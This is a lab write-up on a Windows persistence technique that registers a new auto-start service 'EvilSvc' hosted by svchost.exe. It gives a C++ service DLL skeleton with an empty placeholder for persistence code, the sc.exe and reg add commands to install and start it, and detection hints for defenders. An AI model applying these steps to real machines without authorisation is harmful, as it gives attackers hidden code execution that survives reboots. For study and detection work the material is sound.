This is a quick lab that looks into a persistence mechanism that relies on installing a new Windows service, that will be hosted by an svchost.exe process.
At a high level, this is how the technique works:
- Create a service
EvilSvc.dll
DLL (the DLL that will be loaded into ansvchost.exe
) with the code we want executed on each system reboot - Create a new service
EvilSvc
withbinPath= svchost.exe
- Add the
ServiceDll
value toEvilSvc
service and point it to the service DLL compiled in step 1 - Modify
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
to specify under which group your service should be loaded into - Start
EvilSvc
service - The
EvilSvc
is started and its service DLLEvilSvc.dll
is loaded into ansvchost.exe
First of, let's compile our service DLL as EvilSvc.dll. This DLL is going to be loaded into an svchost.exe
as part of our service EvilSvc
that we will register in a second:
#include "pch.h"
#define SVCNAME TEXT("EvilSvc")
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle;
HANDLE stopEvent = NULL;
VOID UpdateServiceStatus(DWORD currentState)
{
serviceStatus.dwCurrentState = currentState;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
}
DWORD ServiceHandler(DWORD controlCode, DWORD eventType, LPVOID eventData, LPVOID context)
{
switch (controlCode)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
UpdateServiceStatus(SERVICE_RUNNING);
return NO_ERROR;
}
VOID ExecuteServiceCode()
{
stopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
UpdateServiceStatus(SERVICE_RUNNING);
// #####################################
// your persistence code here
// #####################################
while (1)
{
WaitForSingleObject(stopEvent, INFINITE);
UpdateServiceStatus(SERVICE_STOPPED);
return;
}
}
extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR * argV)
{
serviceStatusHandle = RegisterServiceCtrlHandler(SVCNAME, (LPHANDLER_FUNCTION)ServiceHandler);
serviceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
serviceStatus.dwServiceSpecificExitCode = 0;
UpdateServiceStatus(SERVICE_START_PENDING);
ExecuteServiceCode();
}
Let's now create a new service called EvilSvc
and specify the binPath
to be svchost.exe -k DcomLaunch
, which will tell Service Control Manager that we want our EvilSvc
to be hosted by svchost.exe
in a service group called DcomLaunch
:
sc.exe create EvilSvc binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Next, inside HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\
, create a new value called ServiceDll
and point it to the EvilSvc.dll service DLL compiled in step 1:
reg add HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\system32\EvilSvc.dll /f
{% hint style="warning" %}
EvilSvc.dll
must exist in C:\Windows\system32\EvilSvc.dll
{% endhint %}
At this point, our EvilSvc
should be created with all the right parameters as seen in the registry:
As a final step, we need to tell the Service Control Manager under which service group our EvilSvc
should load.
We want it to get loaded in the DcomLaunch
group, so we need to add our service name EvilSvc
in the list of services in the DcomLaunch
value in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
:
We can now try loading our EvilSvc
service:
sc.exe start EvilSvc
EvilSvc
is now loaded into svchost.exe as part of a DcomLauncher
services group:
Below are some initial thoughts on how one could start hunting for this technique:
- Recently created services with
svchost.exe
as abinpath
- Listing out ServiceDLL value for all system services and looking for DLLs that are loaded from suspicious locations (i.e non c:\windows\system32):
Get-ItemProperty hklm:\SYSTEM\ControlSet001\Services\*\Parameters | ? { $_.servicedll } | select psparentpath, servicedll
{% embed url="https://docs.microsoft.com/en-us/windows/win32/services/writing-a-servicemain-function" %}